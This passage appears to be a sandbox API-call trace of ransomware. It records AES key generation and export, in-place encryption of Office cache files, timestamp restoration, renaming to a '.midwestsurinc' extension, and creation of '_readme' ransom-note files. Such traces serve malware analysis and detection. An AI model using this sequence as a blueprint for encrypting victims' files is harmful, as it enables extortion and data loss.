0x10456e8 [0092.431] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0092.431] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0092.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd4200) returned 0x1f50020 [0092.431] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0xd4200, lpOverlapped=0x0) returned 1 [0092.455] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd4200) returned 0x2030020 [0092.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0092.468] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd4200) returned 0x1f50020 [0092.468] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0092.881] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2030020) returned 1 [0092.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd4600) returned 0x2030020 [0092.894] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2030020*, pdwDataLen=0x174fb24*=0xd4200, dwBufLen=0xd4600 | out: pbData=0x2030020*, pdwDataLen=0x174fb24*=0xd4210) returned 1 [0092.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd4240) returned 0x2110020 [0092.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0092.923] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2030020) returned 1 [0092.927] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0092.927] WriteFile (in: hFile=0x2e8, lpBuffer=0x2110020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesWritten=0x174fb28*=0xd4200, lpOverlapped=0x0) returned 1 [0092.929] FlushFileBuffers (hFile=0x2e8) returned 1 [0092.978] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0092.978] NtClose (Handle=0x2e8) returned 0x0 [0092.986] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.midwestsurinc")) returned 1 [0092.987] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0092.987] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0092.987] GetLastError () returned 0x2 [0092.987] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf861d0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0092.987] GetLastError () returned 0x2 [0092.987] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0092.987] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0092.987] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0092.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0092.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1b) returned 0x184c620 [0092.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0092.988] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x184c620) returned 1 [0092.988] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0092.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0092.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0092.989] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0092.989] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0092.989] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0092.989] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0092.989] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f9, lpOverlapped=0x0) returned 1 [0092.989] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x56b60fd0, dwHighDateTime=0x1d5dff7)) returned 1 [0092.989] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0092.989] NtClose (Handle=0x2e8) returned 0x0 [0092.990] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0092.990] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0092.990] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0092.990] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2110020) returned 1 [0092.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0092.994] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0092.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0092.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0092.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0092.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0092.994] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b)) returned 1 [0092.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0092.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0092.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0092.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0092.994] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0092.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0092.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0092.995] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b)) returned 1 [0092.995] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0092.995] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0092.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0092.995] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0092.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0092.995] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b)) returned 1 [0092.995] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0092.995] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0092.995] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0092.995] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0092.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0092.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0092.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0092.996] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf00db300, dwHighDateTime=0x1d301be)) returned 1 [0092.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0092.996] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0092.996] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0092.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0092.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0092.996] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0092.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0092.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0092.997] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0092.997] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0092.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x340) returned 0x1030560 [0092.997] ReadFile (in: hFile=0x2e8, lpBuffer=0x1030560, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesRead=0x174fb28*=0x32b, lpOverlapped=0x0) returned 1 [0093.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x340) returned 0xfe7ff0 [0093.001] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0093.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x340) returned 0x1030560 [0093.001] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0093.001] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0093.001] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x740) returned 0x10016e8 [0093.001] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10016e8*, pdwDataLen=0x174fb24*=0x32b, dwBufLen=0x72b | out: pbData=0x10016e8*, pdwDataLen=0x174fb24*=0x330) returned 1 [0093.001] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10016e8) returned 1 [0093.001] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0093.002] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x32b, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x32b, lpOverlapped=0x0) returned 1 [0093.002] FlushFileBuffers (hFile=0x2e8) returned 1 [0093.276] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0093.276] NtClose (Handle=0x2e8) returned 0x0 [0093.277] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.midwestsurinc")) returned 1 [0093.278] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0093.278] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0093.278] GetLastError () returned 0x2 [0093.278] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf861f0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0093.278] GetLastError () returned 0x2 [0093.278] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0093.278] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0093.278] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0093.279] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0093.279] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb) returned 0xf7d630 [0093.279] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0093.280] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d630) returned 1 [0093.280] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0093.280] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0xfe7ff0 [0093.280] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfa07a8 [0093.280] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0093.280] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0093.280] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0093.280] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0093.280] WriteFile (in: hFile=0x2e8, lpBuffer=0xfe7ff0*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfe7ff0*, lpNumberOfBytesWritten=0x174fb28*=0x2e9, lpOverlapped=0x0) returned 1 [0093.280] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x56e349f0, dwHighDateTime=0x1d5dff7)) returned 1 [0093.280] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0093.280] NtClose (Handle=0x2e8) returned 0x0 [0093.281] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0093.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0093.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0093.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0093.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0093.281] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0093.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0093.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0093.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0093.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0093.281] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc)) returned 1 [0093.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0093.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0093.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0093.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0093.282] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0093.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0093.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0093.282] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc)) returned 1 [0093.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0093.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0093.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0093.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0093.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0093.282] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc)) returned 1 [0093.282] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0093.283] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0093.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0093.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0093.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0093.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0093.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0093.283] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf58c6830, dwHighDateTime=0x1d301be)) returned 1 [0093.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0093.283] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0093.283] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0093.283] 